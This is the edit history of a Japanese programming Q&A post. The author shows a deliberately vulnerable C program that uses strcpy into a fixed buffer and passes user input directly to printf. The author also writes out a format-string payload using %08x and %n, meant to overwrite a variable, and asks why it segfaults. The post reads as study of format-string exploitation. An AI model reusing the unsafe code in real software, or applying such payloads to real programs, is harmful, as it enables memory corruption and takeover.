質問するログイン新規登録

質問編集履歴

3

修正

2016/11/26 07:29

投稿

strike1217
strike1217

スコア651

title CHANGED
File without changes
body CHANGED
@@ -1,6 +1,6 @@
1
- #include <stdio.h>
1
+ .#include <stdio.h>
2
- #include <stdlib.h>
2
+ .#include <stdlib.h>
3
- #include <string.h>
3
+ .#include <string.h>
4
4
 
5
5
  int main(int argc, char *argv[]) {
6
6
  char text[1024];

2

修正

2016/11/26 07:29

投稿

strike1217
strike1217

スコア651

title CHANGED
File without changes
body CHANGED
@@ -1,11 +1,23 @@
1
+ #include <stdio.h>
2
+ #include <stdlib.h>
3
+ #include <string.h>
4
+
1
- int main(int argc, char *argv[]){
5
+ int main(int argc, char *argv[]) {
2
- char text[1024];
6
+ char text[1024];
3
- static int test_val = -72;
7
+ static int test_val = -72;
4
-
5
- strcpy(text, argv[1]);
8
+ strcpy(text, argv[1]);
9
+
10
+ printf("正しい方法:\n");
11
+ printf("%s", text);
12
+
13
+ printf("\n誤った方法:\n");
6
- ......
14
+ printf(text);
15
+
16
+ printf("\n");
17
+
18
+ // Debug output
7
- printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
19
+ printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
8
- exit(0);
20
+ exit(0);
9
21
  }
10
22
 
11
23
  というプログラムを作りました。わざと脆弱性があります。

1

修正

2016/11/26 07:29

投稿

strike1217
strike1217

スコア651

title CHANGED
File without changes
body CHANGED
@@ -26,7 +26,7 @@
26
26
  誤った方法:
27
27
   `73760000.7353f7a0.73273620.7353f7a0.731e59fa.cb54e8b8.731aac58.25600c18
28
28
 
29
- ./test $(printf "\x18\x0c\x60")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n
29
+ ./test $(printf "\x18\x0c\x60")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n
30
30
  これで書き換わるはずなのですが・・・・
31
31
  segmentation fault になってしまいます。
32
32